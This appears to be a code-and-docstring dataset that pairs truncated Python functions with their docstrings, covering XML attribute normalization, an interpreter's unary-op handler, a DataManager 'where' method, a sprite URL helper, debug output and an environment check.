Does the validation related extra step of the normalization of attribute values: If the declared value is not CDATA, then the XML processor must further process the normalized attribute value by discarding any leading and trailing space (#x20) characters, and by replacing sequen...
def _handle_unary_op(self, node, scope, ctxt, stream): """TODO: Docstring for _handle_unary_op. :node: TODO :scope: TODO :ctxt: TODO :stream: TODO :returns: TODO """ self._dlog("handling unary op {}".format(node.op)) special_switch = { ...
TODO: Docstring for _handle_unary_op. :node: TODO :scope: TODO :ctxt: TODO :stream: TODO :returns: TODO
def where(self, cond, other, **kwargs): """Gets values from this manager where cond is true else from other. Args: cond: Condition on which to evaluate values. Returns: New DataManager with updated data and index. """ assert isinstance( cond...
Gets values from this manager where cond is true else from other. Args: cond: Condition on which to evaluate values. Returns: New DataManager with updated data and index.
def sprite_url(map, cache_buster=True): """ Returns a url to the sprite image. """ map = map.render() sprite_maps = _get_cache('sprite_maps') sprite_map = sprite_maps.get(map) if not sprite_map: log.error("No sprite map found: %s", map, extra={'stack': True}) if sprite_map: ...
Returns a url to the sprite image.
def _debug(self, message, load=False, no_prefix=False): """ Output debug information """ if self.args.debug_analysis: if load: message = '\r\n'.join( ['# ' + line for line in message.strip().split('\r\n')] ) print '{0}\n{1}\...
Output debug information
def validate(): """Display error messages and exit if no lore environment can be found. """ if not os.path.exists(os.path.join(ROOT, APP, '__init__.py')): message = ansi.error() + ' Python module not found.' if os.environ.get('LORE_APP') is None: message += ' $LORE_APP is not set...
Display error messages and exit if no lore environment can be found.